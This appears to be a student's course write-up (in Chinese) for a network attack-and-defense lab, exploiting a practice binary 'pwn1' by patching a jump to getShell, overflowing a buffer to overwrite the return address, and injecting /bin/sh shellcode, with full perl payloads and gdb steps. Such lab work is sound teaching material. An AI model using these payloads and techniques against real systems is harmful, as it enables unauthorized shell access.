20253919 2025-2026-2 《网络攻防实践》第9周作业

实践内容

实践对象为 Linux 可执行文件 pwn1,目标是通过三种方式运行未正常执行的 getShell 函数及自定义 Shellcode:

  1. 手工改可执行文件跳转 getShell;
  2. 利用 Bof 漏洞覆盖返回地址触发 getShell;
  3. 注入并运行自制 Shellcode。
    需掌握汇编指令机器码、反汇编、十六进制编程,实现改指令改流程、构造 Payload 完成 BOF 攻击。

实践过程

将主机名改为本人姓名拼音

分别执行以下命令

  • sudo su
  • hostname leijiao
  • echo "127.0.0.1 localhost leijiao" >> /etc/hosts
  • echo "::1 localhost leijiao" >> /etc/hosts
    image

手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

  1. 使用objdump进行反汇编分析:objdump -d 20253919 | more
    实现直接跳转,就要把080484af的main函数中call的8048491改成getShell函数0804847d
    image
  2. 用vim进行修改:vim 20253919
    为方便查找,输入:%!xxd改为十六进制显示,找到000004b0行,将d7ff改为c3ff,输入:%!xxd -r恢复原格式,输入:wq保存并退出
    image
  3. 重新进行反汇编分析:objdump -d 20253919 | more,发现能够直接调用getshell了
    image

利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

  1. 使用objdump进行反汇编分析:objdump -d 20253919 | more
    image

  2. 分析foo函数

项目 地址(相对于 ebp) 说明
缓冲区起始地址 ebp - 0x1c gets 读取数据的起始位置
返回地址位置 ebp + 4 函数执行完后要跳转的地址
两者偏移 0x20(32 字节) 覆盖返回地址需要填充的字节数
  1. 根据以上分析尝试触发getShell函数
  • 溢出操作perl -e 'print "66666666666666666666666666666666\x7d\x84\x04\x08\x0a"' > 20253919lj_input
  • 注入操作xxd 20253919lj_input
  • 验证操作(cat 20253919lj_input; cat) | ./pwn1_20253919
  • 拿到root
    image

注入一个自己制作的shellcode并运行这段shellcode

  1. 设置pwn1_20253919程序堆栈可执行
  • execstack -s pwn20253919
  • execstack -q pwn20253919
    image
  1. 将perl生成的字符串存储到input_20253919文件中:
    perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_20253919
    image

3.在终端1执行(cat input_20253919;cat) | ./pwn20253919
在终端2执行 ps -ef | grep pwn20253919
image

在终端3执行进行gdb调试并在ret处设置断点

  • gdb pwn20253919
  • attach
  • disassemble foo
  • break *0x080484ae
    image
  1. 终端1按回车后,在终端3输入c继续运行,并输入info r esp,x/16x 0xffffd11c
    栈顶指针位置为0xffffcf6c,shellcode的地址为栈顶指针的地址 + 4= 0xffffcf6c + 4 = 0xffffcf70
    image
  2. 退出gdb,执行perl -e 'print "A" x 32;print "\x70\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_20253919
    image
  3. 执行(cat input_20253919;cat) | ./pwn20253919,通过whoami验证拿到权限
    image

学习中遇到的问题及解决

  • 问题1:最后出现报错
    ┌──(kali㉿leijiao)-[~/Desktop]
    └─$ (cat input_20253919;cat) | ./pwn1_20253919
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0���������1�Ph//shh/bin��PS��1Ұ ̀
    whaomi
    zsh: broken pipe ( cat input_20253919; cat; ) |
    zsh: segmentation fault ./pwn1_20253919
  • 问题1解决方案:必须事先关闭栈地址随机化
    image

实践总结

针对 Linux 可执行文件开展 PWN 实践,通过修改程序指令、利用缓冲区溢出、注入 Shellcode 三种方式成功调用目标函数,熟练掌握了反汇编、机器码分析与漏洞利用相关技能。

posted @ 2026-05-27 22:55  晓月12  阅读(7)  评论(0)    收藏  举报